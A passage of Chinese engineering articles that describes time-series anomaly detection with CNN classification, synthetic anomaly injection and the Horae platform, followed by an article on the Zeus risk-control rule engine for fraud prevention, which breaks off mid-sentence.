1.	单分类器分类：本文训练了SVM、DBSCAN、One-Class-SVM（S3VM）

三种分类器，平均分类准确率达到 80%左右，但无规律波动型指标的分类准

确率只有 50%左右，不满足使用要求。

2.	多弱分类器集成决策分类：参考集成学习相关原理，通过对 SVM、DB-

SCAN、S3VM三种分类器集成投票，提高分类准确率，最终分类准确率提高

7个百分点，达到 87%。

3.	卷积神经网络分类：参考对Human	Activity	Recognition（HAR）进行分类

的实践 [7]，我们用CNN（卷积神经网络）实现了一个分类器，该分类器在时

序数据分类上表现优秀，准确率能达到 95%以上。CNN在训练中会逐层学

习时序数据的特征，不需要成本昂贵的特征工程，大大减少了特征设计的工

作量。

3.2.2 分类流程

我们选择CNN分类器进行时序数据分类，分类过程如下图 6所示，主要步骤如下：

图 6　时序数据分类处理流程

1.	缺失值填充：时序数据存在少量数据丢失或者部分时段无数据等现象，因此在

分类前先对数据先进行缺失值填充。
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2.	标准化：本文采用方差标准化对时序数据进行处理。

3.	降维处理：按分钟粒度的话，一天有 1440 个点，为了减少计算量，我们进行

降维处理到 144 个点。PCA、PAA、SAX等一系列方法是常用的降维方法，

此类方法在降低数据维度的同时还能最大程度地保持数据的特征。通过比较，

PAA在降到同样的维度（144 维）时，还能保留更多的时序数据细节，具体

对比如下图 7所示。

4.	模型训练：使用标注的样本数据，在CNN分类器中进行训练，最终输出分类

模型。

图 7　PAA、SAX 降维方法对比

3.3 周期型指标异常检测

3.3.1 异常检测方法

基于上述时序数据分类工作，本文能够相对准确地将时序数据分为周期型、平稳型和

无规律波动型三类。在这三种类型中，周期型最为常见，占比 30%以上，并且包含

了大多数业务指标，业务请求量、订单数等核心指标均为周期型，所以本文优先选择

周期型指标进行自动异常检测的探索。对于大量的时序数据，通过规则进行判断已经

不能满足，需要通用的解决方案，能对所有周期型指标进行异常检测，而非一个指标

一套完全独立的策略，机器学习方法是首选。

论文Opprentice[8] 和腾讯开源的Metis[9] 采用监督学习的方式进行异常检测，其做

法如下：首先，进行样本标注得到样本数据集，然后进行特征提取得到特征数据集，

使用特征数据集在指定的学习系统上进行训练，得到异常分类模型，最后把模型用于

实时检测。监督学习整体思路 [10] 如下图 8所示，其中	(x1,y1),(x2,y2),…,(xn,yn) 是

训练数据集，学习系统由训练数据学习一个分类器P(Y∣ X) 或 Y=f(X)，分类系统通

过学习到的分类器对新的输入实例 xn+1 进行分类，预测其输出的类别 yn+1。
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图 8　监督学习在分类问题中的应用

3.3.2 异常注入

一般而言，在样本数据集中，正负样本比例如果极度不均衡（比如 1:5，或者更悬

殊），那么分类器分类时就会倾向于高比例的那一类样本（假如负样本占较大比例，则

会表现为负样本Recall 过高，正样本 Recall 低，而整体的 Accuracy 依然会有比

较好的表现），在一个极度不均衡的样本集中，由于机器学习会对每个数据进行学习，

那么多数数据样本带有的信息量就比少数样本信息量大，会对分类器学习过程中造成

干扰，导致分类不准确。

在实际生产环境中，时序数据异常点是非常少见的，99%以上的数据都是正常的。

如果使用真实生产环境的数据进行样本标注，将会导致正负样本比例严重失衡，导致

精召率无法满足要求。为了解决基于监督学习的异常检测异常点过少的问题，本文设

计一种针对周期型指标的自动异常注入算法，保证异常注入足够随机且包含各种异常

场景。

时序数据的异常分为两种基本类型，异常上涨和异常下跌，如下图 9（图中数据使用

Curve[11] 标注），通常异常会持续一段时间，然后逐步恢复，恢复过程或快或慢，影

响异常两侧的值，称之为涟漪效应（Ripple	Effect），类似石头落入水中，波纹扩散的

情形。受到该场景的启发，异常注入思路及步骤如下：
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图 9　异常 case 中异常数据分布

1.	给定一段时序值S，确定注入的异常个数N，将时序数据划分为N块。

2.	在其中的一个区域X中，随机选定一个点Xi 作为异常种子点。

3.	设定异常点数目范围，基于此范围产生随机出异常点数 n，异常点随机分布在

异常种子两侧，左侧和右侧的数目随机产生。

4.	对于具体的异常点，根据其所在位置，选择该点邻域范围数据作为参考数据

集m，需要邻域在设定的范围内随机产生。

5.	产生一个随机数，若为奇数，则为上涨，否则下跌。基于参考数据集m，根

据 3Sigma原理，生成超出±3σ的数据作为异常值。

6.	设定一个影响范围，在设定范围内随机产生影响的范围大小，左右两侧的影

响范围也随机分配，同时随机产生异常衰减的方式，包括简单移动平均、加

权移动平均、指数加权移动平均三种方式。

7.	上述过程只涉及突增突降场景，而对于同时存在升降的场景，通过分别生成

上涨和下跌的上述两个异常，然后叠加在一起即可。

通过上面的异常注入步骤，能比较好地模拟出周期型指标在生产环境中的各种异常场

景，上述过程中各个步骤的数据都是随机产生，所以产生的异常案例各不相同，从而

能为我们生产出足够多的异常样本。为了保证样本集的高准确性，我们对于注入异常

后的指标数据还会进行标注，以去除部分注入的非异常数据。具体异常数据生成效果

如图 10所示，其中蓝色线为原始数据，红色线为注入的异常，可以看出注入异常与

线上环境发生故障时相似，注入的异常随机性较大。
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图 10　异常注入效果图

3.3.3 特征工程

针对周期型指标，经标注产生样本数据集后，需要设计特征提取器进行特征提取，

Opprentice 中设计的几种特征提取器如图 11所示：

图 11　论文 Opprentice 特征提取器
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上述特征主要是一些简单的检测器，包括如固定阈值、差分、移动平均、SVD分解

等。Metis 将其分为三种特征，一是统计特征，包括方差、均值、偏度等统计学特

征；二是拟合特征，包括如移动平均、指数加权移动平均等特征；三是分类特征，包

含一些自相关性、互相关性等特征。参考上述提及的特征提取方法，本文设计了一套

特征工程，区别于上述特征提取方法，本文对提取的结果用孤立森林进行了一层特征

抽象，使得模型的泛化能力更强，所选择的特征及说明如下图 12所示：

图 12　特征选择及说明

3.3.4 模型训练及实时检测

参考监督学习在分类问题中的应用思路，对周期型指标自动异常检测方案具体设计如

图下 13所示，主要分为离线模型训练和实时检测两大部分，模型训练主要根据样本

数据集训练生成分类模型，实时检测利用分类模型进行实时异常检测。具体过程说明

如下：

1.	离线模型训练：基于标注的样本数据集，使用设计的特征提取器进行特征提

取，生成特征数据集，通过Xgboost 进行训练，得到分类模型，并存储。

2.	实时检测：线上实时检测时，时序数据先经过预检测（降低进入特征提取环节

概率，减少计算压力），然后根据设计的特征工程进行特征提取，再加载离线

训练好的模型，进行异常分类。

3.	数据反馈：如果判定为异常，将发出告警。进一步地，用户可根据实际情况对
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告警进行反馈，反馈结果将加入样本数据集中，用于定时更新检测模型。

图 13　模型检测和实时检测流说明

3.3.5 特殊场景优化

通过上述实践，本文得到一套可完整运行的周期型指标异常检测系统，在该系统应用

到生产环境的过程中，也遇到不少问题，比如低峰期（小数值）波动幅度较大，节假

日和周末趋势和工作日趋势完全不同，数据存在整体大幅抬升或下降，部分规律波动

时间轴上存在偏移，这些情况都有可能产生误告。本文也针对这些场景，分别提出对

应的优化策略，从而减少周期型指标在这些场景下的误告，提高异常检测的精召率。

1）低峰期场景：低峰期主要表现是小数值高波动，低峰期的波动比较普遍，但是常规

检测时，只获取当前点前后 7min 的邻域内的数据，可能无法获取到本身已经出现过

多次的较大波动，导致误判为异常。所以对于低峰期，需要扩大比较窗口，容纳到更

多的正常的较大波动场景，从而减少被误判。如下图 14所示，红色是当日数据，灰

色是上周同日数据，如果判断窗口为w1，w1内蓝色点有可能被认为是异常点，而时

间窗口范围扩大到w2后，大幅波动的蓝色点和绿色点都会被捕获到，出现类似大幅

波动时不再被判定为异常，至于低峰期范围可以通过历史数据计算进行识别。
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图 14　低峰期时不同时段的相似大幅波动

2）节假日场景：节假日前一天以及节假日之后一周的数据，和正常周期的趋势都会有

较大差别，可能会出现误告。本文通过提前配置需要进行节假日检测的日期，在设置

的日期范围内，除了进行正常的检测流程，对于已经检测出异常的数据点，会再进入

到节假日检测流程，都异常才会触发告警。节假日检测会取最近 1h的数据，分别计

算其波动比、周同比、日环比等数据，当前时间的这些指标通过“孤立森林”判断都

为异常，才会认为数据是真正异常。除此之外，对于节假日，模型的敏感度会适当调

低以适应节假日场景。

3）整体抬升 / 下降场景：场景特点如下图 15 所示，在该场景下，会设置一个抬升 /

下跌率，比如 80%，如果今天最近 1h数据 80%相对昨日和上周都上涨，则认为是

整体抬升，都下跌则认为是整体下降。如果出现整体抬升情况，会降低模型敏感度，

并且要求当前日环比、周同比在 1h数据中均为异常点，才会判定当前的数据异常。
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图 15　整体抬升下降场景

4）规律波动偏移场景：部分指标存在周期性波动，但是时间上会有所偏移，如图 16

所示案例中时序数据由于波动时间偏移导致误告。本文设计一种相似序列识别算法，

在历史数据中找出波动相似的序列，如果存在足够多的相似波动序列，则认为该波

动为正常波动。相似序列提取过程如下：最近 n分钟的时序作为基础序列 x，获取检

测时刻历史 14 天邻域内的数据（如前后 30min），在邻域数据中指定滑动窗口（如

3min）滑动，把邻域数据分为多个长度为 n的序列集 Y，计算基础序列 x与 Y中每

个序列的DTW距离，通过“孤立森林”对距离序列进行异常判断，对于被判定为异

常值的DTW距离，它所对应的序列将被视为相似序列。如果相似序列个数超出设定

阈值，则认为当前波动为规律偏移波动，属于正常现象。根据上述方法，提取到对应

的相似序列如图 16右边所示，其中红实线为基础序列。
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图 16　规律波动偏移相似序列提取

3.4 异常检测能力平台化

为了把上述时序数据异常检测探索的结果进行落地，服务运维部与交易系统平台部设

计和开发了时序数据异常检测系统Horae。Horae 致力于时间序列异常检测流程的

编排与调优，处理对象是时序数据，输出是检测流程和检测结果，核心算法是异常检

测算法、时间序列预测算法以及针对时间序列的特征提取算法。除此之外，Horae 还

会针对特殊的场景开发异常检测算法。Horae 核心能力是可根据提供的算法，编排

不同的检测流程，对指标进行自动分类，并针对指标所属类型自动选择合适的检测流

程，进行流程调优得到该指标下的最优参数，从而确保能适配指标并得到更高的精召

率，为各个对时序数据异常检测有需求的团队提供高准确率的异常检测服务。

3.4.1 Horae 系统架构设计

Horae 系统由四个模块组成：数据接入、实时检测、实验模块和算法模块。用户通过

数据接入模块注册需要监听时序数据的消息队列，Horae 系统将监听注册的 Topic

采集时序数据，并根据粒度（例如分钟、小时或天）更新每个时间序列，每个时序点

都存储到时序数据库中，实时检测模块对每个时序点执行异常检测，当检测到异常

时，通过消息队列将异常信息传输给用户。下图 17详细展示了Horae 系统的整体架

构图。
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1.	数据接入：用户可以通过创建数据源用于数据上报，数据源可以包含一个或多

个指标，指标更新频率最小为一分钟。不同数据源中指标的时序数据相互隔

离，时序数据更新到使用Elasticsearch 改造后的时序数据库中。

2.	实时检测：采集到实时的时序数据后，会根据指标绑定的执行流程立即进行异

常检测，如果没有训练调优，会先执行训练调优以保证更佳的精召率。实时

检测的结果会通过消息队列通知到用户，用户根据异常检测的结果进行进一

步处理判断是否需要发出告警。

3.	实验模块：该模块主要功能是样本管理、算法注册、流程编排、模型训练和评

估、模型发布。该模块提供样本管理功能，可对样本进行标注和存储；对于已

经实现的算法，可以注册到系统中，供流程编排使用；通过算法编排得到的流

程，可以用在模型训练或者异常检测中；训练流程会使用到标注好的样本数据

调用算法离线服务进行离线训练并存储模型；对于已经编排好的检测流程，可

以对指标进行模拟观察检测异常检测效果，或者离线回归判断检测流程在该

指标上的具体精召率数据。

4.	算法模块：算法模块提供了所有在实验模块注册的异常检测算法的具体实现，

算法模块既可以执行单个算法，也可以接受多个算法编排的流程进行执行。当

前支持的算法大类主要有预处理算法（异常值去除、空值填充、降维、归一化

等），时序特征算法（统计类特征、拟合特征、分类特征等），机器学习类算法

（RF、SVM、XGBoost、GRU、LSTM、CNN、聚类算法等），检测类算法

（孤立森林、LOF、SVM、3Sigma、四分位、IQR等），预测类算法（Ewma、

Linear	Weighted	MA、Holt-Winters、STL、SAIMAX、Prophet 等），自

定义算法（形变分析、同环比、波动比等）。
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图 17　Horae 时序数据异常检测系统架构图

3.4.2 算法注册和模型编排

算法模型是对算法的抽象，通过唯一字符串标识算法模型，注册算法时需要指定算法

的类型、接口、参数、返回值和处理单个时序点所需要加载的时序数据配置。成功注

册的算法模型根据算法类型的不同，会生成用于模型编排的算法组件或对异常检测

模型进行训练的组件。用于模型编排的算法组件主要包括：预处理算法、时序特征算

法、评估算法、预测算法、分类算法、异常检测算法等，用于模型训练的算法分为两

大类：参数调优和机器学习模型训练。

注册后的算法模型通常不会直接用于异常检测，会对算法模型进行编排后得到一个流

程模型，流程模型可以用于执行异常检测或者执行训练。实验模块支持两种类型的流

程模型：执行流程和训练流程。执行流程是一个异常检测流程，指定指标和检测时间

段，得到检测时间段每个时序点的异常分值；训练流程是一个执行训练的流程模型，

主要包括参数调优训练流程和机器学习模型训练流程。使用算法进行流程编排如下图

18 所示，左侧菜单为算法组件，中间区域可对算法执行流程进行编排调整，右侧区

域是具体算法的参数设置。
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图 18　流程编排示意图

3.4.3 离线训练和实时检测

在模型编排阶段，可编排执行流程和训练流程，执行流程主要用在指标实时异常检测

过程，而训练流程主要用在离线模型训练和参数调优。执行流程由流程配置和异常分

值配置构成，由实验模块的流程调度引擎负责执行调度，下图 19展示了执行流程的

详细构成。流程调度引擎在对执行流程调度执行之前，会从流程的最深叶子节点的算

法组件开始递归计算需要加载的时序数据集，根据流程中算法组件的参数配置，加载

前置训练流程的训练结果，最后对流程中的算法组件依次调度执行，得到检测时间段

每个时序点的异常分值。最终实现后的执行流程编排如图 18所示。

图 19　执行流程组成和处理过程
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训练流程由流程配置、训练算法、样本加载配置和训练频次等信息构成，由实验模块

的流程调度引擎负责调度执行，下图 20展示了训练流程的详细构成。训练流程主要

分为两大类，参数调优训练和机器学习模型训练。参数调优训练是指为需要调优的参

数设置参数值迭代范围或者枚举值，通过贝叶斯调优算法对参数进行调优，得到最优

参数组合；机器学习模型训练则通过设计好特征工程，设置分类器和超参数范围后调

优得到机器学习模型文件。训练流程执行训练的样本集来源于人工标注的样本或者基

于自动样本构造功能生成的样本。训练流程编排具体过程和执行流程类似，不同的是

训练流程可设置定时任务执行，训练的结果会存储供后续使用。

图 20　训练流程组成和处理过程

异常检测模型中会包含很多凭借经验设定的超参数，不同的指标可能需要设置不同的

参数值，保证更高的精召率。而指标数据会随着时间发生变化，设置参数需要定期的

训练和更新，在实验模块中可以为训练流程设置定时任务，实验模块会定时调度训练

流程生成离线训练任务，训练任务执行完成可以看到训练结果和效果。下图 21示例

展示了一个参数调优训练流程的示例。
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图 21　参数调优训练结果示例

3.4.4 模型案例和结果评估

根据在周期型指标上探索的结果，在Horae 上编排分类模型训练流程，训练和测

试所使用的样本数是 28000 个，其中用于训练的比例是 75%，用于验证的比例是

25%，具体分类模型训练结果如下图 22 所示，在测试集上的准确率 94%，召回率

89%。同时编排了与之对应的执行流程，它的检测流程除了异常分类，还主要包含了

空值填充、预检测、特征提取、分类判断、低峰期判断、偏移波动判断等逻辑，该执

行流程适用范围是周期型和稳定型指标。除此之外，还提供了流程调优能力，检测流

程中的每个算法可以暴露其超参数，对于具体的指标，通过该指标的样本数据可以训

练得到该流程下的一组较优超参数，从而提高该指标的异常检测的精召率。
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图 22　异常分类模型训练结果

该异常检测流程应用到生产环境的指标后，具体检测效果相关案例如下图 23 所示，

对于周期型指标，能及时准确地发现异常，对异常点进行反馈，准确率达到 90%以

上。除此之外，还对比了形变分析异常检测，对于生产环境中遇到的三个形变分析无

法发现的 4个案例，周期型指标异常检测流程能发现其中 3个，表现优于形变分析。

图 23　周期型指标异常检测模型生产环境检测结果

四、总结与展望

时序数据异常检测作为AIOps 中故障发现环节的核心，当前经过探索和实践，已经
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在周期型指标异常检测上取得了一定的成绩，并落地到Horae 时序异常检测系统中。

在时序数据异常检测部分，后续会陆续实现平稳型、无规律波动型指标自动异常检

测，增加指标数据预测相关能力，提高检测性能，从而实现所有类型的海量指标自动

异常检测的目的。

除此之外，在告警触达方面，我们当前在进行告警收敛、降噪和抑制相关的规则和算

法的探索，致力于提供精简有效的信息，减少告警风暴及干扰；在故障定位方面，我

们已经基于规则在定位上取得比较不错的效果，后续还会进行更全面的定位场景覆盖

和关联性分析、根因分析、知识图谱相关的探索，通过算法和规则提升故障定位的精

召率。因篇幅所限，告警触达（告警中心）和故障定位（雷达）两部分内容将会在后续

的文章中详细进行分享，敬请期待。
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复杂风控场景下，如何打造一款高效的规则引擎

作者：思思

｜在互联网时代，安全已经成为企业的命脉。美团信息安全团队需要采用各种措施和

手段来保障业务安全，从而确保美团平台上的用户和商户利益不会受到侵害。

本文主要介绍了美团在打造自有规则引擎 Zeus（中文名“宙斯”）的过程中，信息安

全团队遇到的挑战以及对应的解决方案，并分享了很多踩过的坑，同时还有一些思考

和总结。希望对从事安全领域相关工作的同学能够有所启发或者帮助。

背景

美团 App 每天都面临着各类的欺诈、盗号、作弊、套现以及营销活动被恶意刷单、

恶意抢占资源等风险。而业务安全团队采用的主要措施和手段就是在业务请求中识别

出谁、在什么时间、通过什么方式、做了什么事。这个识别逻辑的制定过程叫做策略

的生产。同时，还要对已经完成生产的策略进行快速的验证和落地，以防止风险变化

后策略失效。从发现风险经过策略生产、验证，再到最终的落地部署，全流程的处理

速度和效果将决定整个业务的成败。

在业务发展初期，我们可以通过硬编码的方式将风控逻辑部署在业务逻辑中实现，

但美团的业务比较复杂，从最初的团购形式，经过与大众点评、摩拜、猫眼等业务

的融合，发展到涵盖餐饮、到店、猫眼、外卖、金融、酒店、旅游、大交通等多个

垂直领域。随着业务的快速发展，适用于初期的硬编码方式出现了策略分散无法管

理、逻辑同业务强耦合、策略更新迭代率受限于开发、对接成本高等多种问题。此

时，我们需要有一套可配置化的规则管理平台，进而实现风控策略与业务解耦、快

速部署、验证。

但规则引擎的建设初期，会面临着各种困难和挑战，主要包括以下几个方面：
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	● 在业务层面：垂直领域多，包含几乎所有的吃喝玩乐服务。美团细分业务多达

百个。服务用户角色多（用户、商户、供应商、渠道商），交易频率高，日订单

量大。

	● 在风险层面：存在用户作弊、商家刷单、账号盗用冒用、支付和信贷等多种

风险。

	● 在企业外部环境层面：黑产已形成自下而上的产业链，攻击方式升级比较快速。

针对以上这些挑战，我们打造了自有的规则引擎	Zeus（中文“宙斯”，来源于“宙斯

盾”作战系统的启发，期望规则引擎平台能同“宙斯盾”一样成为先进的中央作战决

策系统，实现对风险的精准、高效打击）。

下面，我们就来具体介绍一下，美团信息安全团队在系统构建过程中面临的挑战以及

对应的解决方案。

挑战与方案

1. 业务多 - 接入成本高

规则引擎最早只是业务系统中的一个函数，逐步演化成了独立的服务。而这个独立服

务与业务后台的交互是单点方式，即业务后台在关键动作节点前调用规则引擎，判断
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“有没有风险”。但这样每次新增加一个业务或新出现一个风险场景时，规则引擎和业

务都要重新进行对接联调。频繁地调整给上下游团队都带来了不小的负担，而且在频

繁的更改中，系统质量也难以保证。如何便捷、快速地实现业务接入是系统设计的核

心目标之一。

在接入成本上，一次性集中接入往往是最便捷的方式。因此我们选择在每个业务都会

通用节点接入规则引擎，例如：用户中心、商户中心、订单中心、收银台等均为各类

业务的通用节点，规则引擎同这些通用节点对接，业务在调用通用节点时，通用节点

调用规则引擎即可完成业务的接入。

随着美团业务和场景种类的增多，现在也存在不经过通用节点的业务。因此，我们需

要提供通用的接入接口，目前业务侧直接调用一个独立服务接口即可获得风控判断。

2. 风险点多 - 逻辑复杂、逻辑复用

风险点多且业务多，进一步增加了场景、策略逻辑的复杂度。表达式语言可支持的

逻辑计算范围有限，复杂的逻辑若仍通过硬编码实现，会存在效率低、不易复用等

问题。

受模块化思维启发，我们将复杂的逻辑封装成模版，实现配置化，并支持逻辑复用。

这样就大大提升了规则引擎可实现的逻辑范围。目前，我们已经建设的几类常用的封

装逻辑如下：

1.	扩展函数：主要用于数据格式的提取和处理，比如字符串、数组等格式转换、

数据提取等。通过扩展函数功能，对业务侧数据格式要求大大降低，也降低

了业务侧数据处理的负担。

2.	累计因子：在业务中会高频使用到与累计相关的逻辑。例如，在登陆、下单、
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支付等事件需要同 IP 的 UserID 进行计数计算，计算结果作为特征引用在规

则中。规则引擎引入了内部研发的高效事件计数服务，实现累计通用逻辑的

封装，比如支持累计周期、计数 / 求和 / 最近几次、累计值等计算逻辑配置化

等等。

3.	决策表因子：部分业务中需要引擎处理的判断条件较多，各条件又相互组合，

存在多种决策方案的情况，这就需要用精确、简洁的方式来描述这类复杂逻

辑。在低频使用时，我们可以通过硬编码的 case-when、if-else 等语句实

现，但在实时性和配置化上不尽人意。最终，我们通过决策表将多个独立的

条件和多个动作直接地联系、清晰地表示出来，并实现了逻辑的封装。

4.	名单库因子：与名单库联动过程中，将查询名单的逻辑进行封装。

5.	工具因子：将一堆规则进行打包形成大的逻辑集合，并对组成的规则设置评

分。在执行时输出评分结果并实现跨场景、跨业务应用，同时将大逻辑进行

“黑盒”处理，简化逻辑复用时的配置、沟通成本。

风险点多的另一个挑战点是在多业务中会存在同质性，即制定的风险策略是可复用

的。当一百条规则需要复用在几十个场景中，逐个配置的效率太低，不仅一致性难以

保障，后续的修改也是问题。同时又衍变出部分复用、部分差异化，让业务直接复用

场景行不通。因此，我们引入【规则组】的概念，将规则聚类管理。比如众包识别规

则组、虚假设备规则组、涉黄内容识别规则组等。业务在应用时，可在自己的场景中

进行差异化的应用。

3. 风险变化快、长期对抗 - 效果验证速度

当外部风险变化时，风控的对抗也需要及时响应，这是一个争夺“主导权”的比赛。

风控通过对不同阶段的组合打击，实现策略的健壮性，包括用于识别有没有风险的基

础对抗阶段、引导节奏混淆视听的“短平快”阶段、诱敌深入的“高精尖”阶段。对

应系统需要支持不同阶段的策略配置、迭代和验证需求。而在策略迭代和部署阶段，

需要特别注意因配置错误导致的误命中问题。
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参考开发环境分类：测试环境、预发布环境和生产环境。规则引擎在规则的部署和迭

代上，可通过标记、双跑和回溯功能，我们通过应用实时线上流量和历史数据来验证

策略的有效性。

	● 标记：规则在场景中的状态，标记状态的规则逻辑将灰度执行，即：与生效规

则类似会实时执行，但决策信息不实时返回给上游业务方，不影响决策。同时

用户可在实时日志查询中查看标记规则的命中情况。

	● 双跑：规则在场景中的状态，双跑状态的规则逻辑将灰度执行，但仅会出现在

修改生效规则、因子（因子修改导致引用规则的逻辑执行变化）时，才会存在

的状态。

	● 回溯：规则在场景中的状态，回溯状态的规则逻辑将灰度执行，但仅使用回放

的历史数据。

通过这些功能，可以降低策略迭代的风险，缩短策略部署上线的时间周期。

思路总结

在确认清楚挑战和解决方案之后，规则引擎的整体建设思路就已经形成了。现今，

规则引擎随着业务的快速扩张，由一个内部系统逐渐发展为服务多个风控团队的公

共平台。

从初期主要围绕风控防控痛点进行搭建的表达式服务包，升级到配置化平台，在配置

效率和执行效率也得到了很大的提升。同时，随着人工智能技术的应用和风控对抗进

入白热化，规则引擎也将从配置化快速迭代至自动化、智能化。
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1. 确定核心快速论证、快速落地

在系统建设中，进行了充分的论证后就需要快速落地，避免因长项目周期需求发生裂

变而导致不可控。在初期，我们已经建立了 aviator 表达式服务包并稳定服务。因此，

配置化平台搭建时仍基于表达式语言，引入场景、规则、因子、决策等概念搭建，将

策略的执行分为执行层和计算层。

执行层：通过场景获得一堆规则集合，规则执行完成后将其结果和对应的决策返回。
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结果和：在规则执行时会进行其构成因子计算。

2. 根据角色，进行定向提效

规则引擎搭建的初衷之一是提升风控对抗的整体效率。在对抗过程中，我们需要各种

角色配合，例如开发建设系统、策略制定者、策略使用者和风险用户等，因此需要针

对各类角色定向开展提效工作。

（1）风险用户处理提效（风险用户）

业务已经可以实时获得风控的决策，但发现风险用户会在很多场景下重复攻击。对这

类用户的处理，除了对当次行为阻断，还要阻断其未来的行为，因此就有名单管理的

诉求。我们通过与名单库的联动，提升该类用户的处理效率。

例如：在美团金融项目场景下，严重逾期的用户会加入禁贷名单，再次申贷时取消其

贷款资格。

（2）业务接入提效（业务方）

除了上面介绍的统一接入外，还有一种常见的情况：业务无法在发起请求时就将执行

所需要的全部参数准备好，此时就需要引擎能主动获取外部数据。针对这类情况，规

则引擎通过数据接口的方式实现了外部数据的补充，在策略执行时根据计算需要动态

获取相关的参数。在实现与外部数据联动的功能后，大大降低了使用规则引擎业务方

数据准备阶段的压力，从全部参数准备简化为仅提供核心参数即可，剩余参数按需引

擎自行调度即可。
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（3）策略管理提效（产品）

策略产品是规则引擎的主要用户，主要的工作流程是围绕策略管理、分析、验证进行

提效。如何管理大量的规则和应用场景？怎样快速验证策略有效性、评估误伤率？客

诉反馈问题，如何快速还原规则命中情况？针对这些维度，我们分别提供不同的产品

功能进行提效。

	● 在策略管理层面，可通过规则组方式、因子工具等，进行同类规则集合的管

理、打包和复用。

	● 在规则分析层面，可通过实时查询规则的执行详细数据和将规则执行流程进行

回放提升分析效率。

	● 在策略验证层面，提供标记、双跑和回溯提升策略验证速度。

（4）工程效率提效（工程师）

复杂的逻辑且具有通用性就可以对特征逻辑封装，避免工程师重复进行逻辑开发工

作，释放出的开发资源可以进行其它维度的提效。

（5）算法 / 模型接入提效（算法工程师）

当对抗升级时，策略的产生者由人变为算法 / 模型。而机器的生产效率远远高于人，

人工搬运算法 / 模型会成为迭代效率的瓶颈，怎样跟算法、模型平台进行快速联动

呢？最简单、快速的方式就是使用引擎提供的外部数据联动方式，将模型结果包装成

数据接口使用。但在实践过程中，我们发现模型的出入参数较多且存在变化，整体的

配置化效率低，模型应用和迭代频率受限制。公司内部提供的深度学习还是算法工程

平台，目前主攻计算、训练等场景，在上下游应用提供标准化的数据产出，但无法同
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类似引擎的平台对接。

因此，仅聚焦在引擎与算法平台的联动上，可通过建设调度模块实现：1. 训练样本

预处理–>2. 算法平台对接–>3. 自动化生成接口–>4. 自动注册接口 / 策略至引

擎–>5. 评估任务启动–>6. 评估结果处理（策略上下线、样本数据沉淀）–>1. 训

练样本预处理的闭环流程。

3. 发现问题、横向扩展、兼容更多场景

随着引擎在多业务场景的应用，我们发现几个实时引擎不好处理的场景。比如拉新场

景，需要结合“注册 +登陆 +交易”等多种行为来判断是否有“薅羊毛”等黑灰产行

为，需要将很多事件放到一起去综合判定。当发现风险时，或在当前时间点漏过的变

异风险在发现之后，需要对历史数据进行回捞，这些在实时引擎中都不太好实现。当

前已有的异步引擎也无法很好地进行覆盖。为了避免做“重复造轮子”的事情，团队

充分地讨论了实时、异步和离线引擎的定位和服务边界。
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在实时引擎已经覆盖的逻辑基础上，我们引入新的封装逻辑 -个体因子，全局因子实

现SQL语句的配置化管理，进而实现批量累计、聚合特征的计算，比如：近一年某

商家的平均下单金额，近 30天商户大盘下单均值，标准差等批数据的复杂逻辑。并

基于Spark 和实时引擎底层，实现多流和批数据的处理，解决上述场景无法处理的

一些问题。

4. 业务实践结果

交易安全

策略产品在日常工作中，通过对业务分析发现风险、挖掘风险特征并应用在策略中。通

过Zeus实现策略的部署和应用，大大降低了业务风险，提升风险防控效率。例如：在

某业务地推场景中发现B、C端联合刷单风险，以返利、送赠品收到诱骗下单。
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金融安全

金融风控主要有反欺诈和信用安全。反欺诈同业务安全在策略形态上相同，都是判断

有无风险，在决策结果上是通过和拒绝。因此，通过普通决策即可满足业务需求。

但信用安全会比前两者复杂一些，在决策上，除了通过和拒绝外，对于通过的请求要

进行分层实现金融的差异化定价。因此，需要在规则引擎中引入更多功能，来满足业

务需求。主要包括：

	● 路由场景：可支持多层，决策流模式，即一堆规则的集合，支持按照逻辑进行

分流，满足指定条件可以指定走向在每个节点进行条件设置，实现最终流向。

例如：对于某分期场景用户申请一笔贷款，需要经过欺诈识别、信用评估后方

可给出最终的额度、定价。

	● 决策衍生参数：适用于复杂的多级路由决策场景Key-Value 型数据，在决策

中指定衍生参数信息从而在路由场景中产生全局传递变量，比如：流转过不同

的场景需要将用户进行等级分类。

	● 决策附加信息：适用于复杂决策场景Key-Value 型数据，在决策中指定附加

信息从而实现更多决策信息的计算及返回，比如：加入风控名单库，加入什么

风险类型、风险等级、名单类型。
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未来发展与思考

目前规则引擎正处于配置化阶段，正在向自动化、智能化的阶段发展，从而不断提升

策略的管理和迭代的速度。但业务间的智能化诉求和进程不同，平台可以提供更多集

成托管服务，从而提升各业务的智能化覆盖度。

其次，引擎仍然存在无法处理的几个问题：

一些长时间周期特征无法快速应用的问题，例如近一年的时间周期。如何将离线引擎

和实时引擎在特征计算上组合，实现特征的快速生产、验证和应用，从而扩展引擎的

计算能力范围、提升风控业务的对抗效率。

当前引擎的接入对非复杂逻辑需求的业务就比较重。而接入成本是各业务接入时重点

评估的因素，如何实现快速、低成本的业务接入（包括技术接入和人员操作接入），考

虑提供模块化的引擎计算服务能力适用于各类业务诉求，实现按需接入，比较“臃

肿”的全局接入会更快速和便捷。但这种在引擎侧怎样更好地管理这些模块，也是一

个挑战。
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最后，业务流量和策略的增长速度仍在高速增长，引擎的稳定性和策略管理效率也需

要持续提升。

踩过的坑

1. 如何实现产品功能高聚合架构上低耦合

规则引擎建设时兼容各类业务场景，具备了极高的灵活性，同时自身也相对复杂。从

顶层的路由场景到底层的参数（路由场景 -场景 -规则组 -规则 -决策 -因子 -参

数 -数据接口 -参数）每一个节点、节点间都是由用户配置的，在产品上期望用户

的操作流程是连贯的，在一个操作流程中解决尽量多的问题。系统架构上，包括配置

层、执行层、计算层、数据获取层等，各层之间相互依赖，对最终引擎的输出结果负

责，底层上需要尽量的解耦合，才将降低单模块对引擎的影响。但在实践中，随着业

务诉求的增多，慢慢就出现来产品上的低耦合、架构上的高耦合情况。

例如：在用户修改生产策略时的强制更新流程优化项目中	，就涉及了这个问题。在产

品功能上用户修改策略–>双版本策略并行执行–>两版本数据核验–>修改完成；

但在系统架构上，上述的产品流程就产生了系统架构高耦合，即生产修改双版本问

题，配置层、执行层、计算层高度耦合。项目一期上线后在性能上、后续功能扩展性

上都有瓶颈。随后，技术项目优化配置层的缓存模式，采用增量更新方式。产品功能

上增加用户进入修改模式后修改。重新立项后，实现了用户修改流程闭环、系统架构

上仅配置层兼容双版本，执行层和计算层无耦合。

因此，在产品功能设计上除了用户闭环操作外，还需要考虑是否低耦合。在技术优化

时需要前瞻性的开展去耦合项目。

2. 如何平衡系统复杂度与业务需求

随着接入业务的增多，又需要兼容新业务定制化需求，就面临这一个问题：定制化的

